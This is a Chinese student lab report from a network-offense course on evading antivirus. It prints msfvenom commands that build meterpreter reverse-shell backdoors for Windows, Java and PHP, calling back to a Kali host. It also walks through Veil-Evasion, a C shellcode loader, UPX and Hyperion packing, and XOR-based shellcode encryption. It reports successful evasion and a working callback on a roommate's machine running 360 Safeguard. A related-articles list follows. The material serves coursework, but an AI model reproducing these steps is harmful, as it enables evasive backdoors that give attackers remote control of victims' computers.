2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践
win10 ip地址 192.168.18.1
fenix ip地址为 192.168.18.128
(1)杀软是如何检测出恶意代码的?
•根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这些特征码来判定他是不是病毒。
•根据该软件的行为进行检测如有异常行为,会被判定为风险文件或病毒。
•基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
通过一定的技术手段,将恶意软件处理,使之不会被杀毒软件发现。
(3)免杀的基本方法有哪些?
•改变特征码:对于.exe文件可以加壳,对于shellcode可以进行加密然后利用shellcode生成可执行文件,或者用其他语言进行重写再编译
•改变行为:根据改变通讯模式、操作模式来实现免杀。
- 实践内容
任务一: 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。
•VirusTotal扫描后结果如下:

2.用msf编码器对后门程序进行一次到多次的编码,并进行检测
•一次编码使用命令:

•VirusTotal扫描后结果如下:



•十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded10.exe

•VirusTotal扫描后结果如下:

3.msfvenom生成jar文件、php文件
•生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 x> 5239_backdoor_java.jar

•VirusTotal扫描后结果如下:

•生成php后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.18.128LPORT=5239 x> 5239_backdoor.php

•VirusTotal扫描后结果如下:

4.使用veil-evasion生成后门程序及检测
•安装veil
代码
:sudo apt-get install veil

•安好后use evasion命令进入Evil-Evasion


•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239命令use c/meterpreter/rev_tcp.py进入配置界面

•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239

•指令generate生成文件,输入playload的名字:veil_c_5239

•VirusTotal扫描后结果如下

5.手工注入Shellcode并执行
•使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239-f c用c语言生成一段shellcode;

•vim 20165239.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] =
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 -f c生成的代码 加
int main()
{
int (func)() = (int()())buf;
func();
}

•使用命令:i686-w64-mingw32-g++ 20165239.c -o 20165239.exe编译这个.c文件为可执行文件;
•VirusTotal扫描后结果如下

6.加壳尝试
•加压缩壳upx 20165239.exe -o 20165239_uped.exe

•VirusTotal扫描后结果如下:

•加密壳Hyperion:进入目录/usr/share/windows-binaries/hyperion/中将20165239_uped.exe拷贝进来并用wine hyperion.exe -v 20165239_upxed.exe 20165239_upxed_Hyperion.exe进行加壳
•VirusTotal扫描后结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳。

•实现免杀效果,并回连成功 杀毒软件为360安全卫士
的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳



任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
•对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

实验感想:
本次实验大多数是我一个人完成的,有些不会则问舍友同学,在安装kali过程中很多都是问舍友,还有查阅网上的资料
2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20145308 《网络对抗》 MAL_免杀原理及实践 学习总结
20145308 <网络对抗> MAL_免杀原理及实践 学习总结 实践内容 (1)理解免杀技术原理 (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免 ...
- 20155217《网络对抗》Exp03 免杀原理与实践
20155217<网络对抗>Exp03 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
随机推荐
- JAVA 中的命名规则
命名规则– 基本要求• 见名知意– 常见命名的规则 • 包 (其实就是文件夹,用于对类进行管理)– 全部小写, 多级包用点隔开.– com,com.itheima • 类– 一个单词首字母大写 Stu ...
- mysql的order by注入
最近在做一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大.其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高.被过滤概览小).今天给 ...
- 第31月第10天 tableview头部空白 Other Linker Flags rtmp
1.ios10 tableview头部空白 if (@available(iOS 11.0, *)) { self.tableView.contentInsetAdjustmentBehavior = ...
- 第31月 第9天 责任链AppDelegate
1.AppDelegate 到这里我们把解决方案再明确一下:把 AppDelegate 的调用解耦成一个 责任链 模型.并且满足以下特征: 每个模块都可以无限制的实现 AppDelegate 的方法. ...
- spark基础知识(1)
一.大数据架构 并发计算: 并行计算: 很少会说并发计算,一般都是说并行计算,但是并行计算用的是并发技术.并发更偏向于底层.并发通常指的是单机上的并发运行,通过多线程来实现.而并行计算的范围更广,他是 ...
- JDK8源码阅读之Collection及相关方法
最近面试总会被问到JDK8中的一些新特性,所以闲下来抽时间看了一下8的源码,目前主要看的是数据结构部分,特此记录一下. 新增函数式接口,实现该接口的可以直接用lambda表达式. default和st ...
- .net core 2.0 报错:error NU1102: Unable to find package 。。。
这种是nuget无法还原的问题.解决问题的方法: 在项目文件所在的目录下创建文件:NuGet.Config 里面内容: "?> <configuration> <pa ...
- 20165337《网络对抗技术》week1 Exp0 Kali安装
1.下载kali kali官网:https://www.kali.org 在官网中下载,并且在VMvare里打开 2.修改视图 进去之后虚拟机界面很小,需要修改视图来调整 3.网络设置 4.文件夹共享 ...
- PostgreSQL学习笔记(二)-安装pgAdmin
继上篇安装PostgreSQL后,我们需要安装一个PostgreSQL的图形化管理工具. pgadmin管理工具 创建Python的虚拟环境 cd /root/venv python -m venv ...
- 题解-HAOI2018全套
去冬令营转了一圈发现自己比别人差根源在于刷题少,见过的套路少(>ω<) 于是闲来无事把历年省选题做了一些 链接放的都是洛谷的,bz偷懒放的也是链接 AM.T1 奇怪的背包 Problem ...